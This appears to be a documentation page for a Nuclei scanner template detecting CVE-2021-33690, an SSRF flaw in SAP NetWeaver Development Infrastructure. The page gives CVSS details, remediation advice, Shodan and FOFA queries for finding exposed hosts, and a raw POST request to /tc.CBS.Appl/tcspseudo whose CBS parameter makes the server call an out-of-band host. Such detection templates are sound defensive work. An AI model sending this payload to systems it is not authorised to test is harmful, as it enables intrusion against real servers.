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SAP NetWeaver Development Infrastructure - Server Side Request Forgery

ID: CVE-2021-33690

Severity: critical

Author: DhiyaneshDK

Tags: cve2021,cve,oast,ssrf,sap

Description

Section titled “Description”

Server-Side Request Forgery (SSRF) vulnerability has been detected in the SAP NetWeaver Development Infrastructure Component Build Service versions - 7.11, 7.20, 7.30, 7.31, 7.40, 7.50The SAP NetWeaver Development Infrastructure Component Build Service allows a threat actor who has access to the server to perform proxy attacks on server by sending crafted queries. Due to this, the threat actor could completely compromise sensitive data residing on the Server and impact its availability.Note: The impact of this vulnerability depends on whether SAP NetWeaver Development Infrastructure (NWDI) runs on the intranet or internet. The CVSS score reflects the impact considering the worst-case scenario that it runs on the internet.

YAML Source

Section titled “YAML Source”
id: CVE-2021-33690


info:
  name: SAP NetWeaver Development Infrastructure - Server Side Request Forgery
  author: DhiyaneshDK
  severity: critical
  description: |
    Server-Side Request Forgery (SSRF) vulnerability has been detected in the SAP NetWeaver Development Infrastructure Component Build Service versions - 7.11, 7.20, 7.30, 7.31, 7.40, 7.50The SAP NetWeaver Development Infrastructure Component Build Service allows a threat actor who has access to the server to perform proxy attacks on server by sending crafted queries. Due to this, the threat actor could completely compromise sensitive data residing on the Server and impact its availability.Note: The impact of this vulnerability depends on whether SAP NetWeaver Development Infrastructure (NWDI) runs on the intranet or internet. The CVSS score reflects the impact considering the worst-case scenario that it runs on the internet.
  remediation: Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://redrays.io/cve-2021-33690-server-side-request-forgery-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33690
    - https://launchpad.support.sap.com/#/notes/3072955
    - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=582222806
    - https://github.com/redrays-io/CVE-2021-33690
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2021-33690
    cwe-id: CWE-918
    epss-score: 0.3856
    epss-percentile: 0.97133
    cpe: cpe:2.3:a:sap:netweaver_development_infrastructure:7.11:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sap
    product: netweaver_development_infrastructure
    shodan-query:
      - html:"SAP NetWeaver"
      - http.html:"sap netweaver"
    fofa-query: body="sap netweaver"
  tags: cve2021,cve,oast,ssrf,sap


http:
  - raw:
      - |
        POST /tc.CBS.Appl/tcspseudo HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        CBS=http://{{interactsh-url}}&USER=1&PWD=1&REQ_CONFIRM_DELAY=2000&ACTION=CONFIGURE


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"


      - type: word
        part: body
        words:
          - "Could not connect to the CBS"
# digest: 490a00463044022023c3d9b835ebfe13b502c371ac8a8cc920ebaa53823c09e1784b0e3aafa6c3b702207eccc2c8077b52ce15ca11adf80a7d48920c4834e85fa8060749b612bbde0e03:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-33690.yaml"

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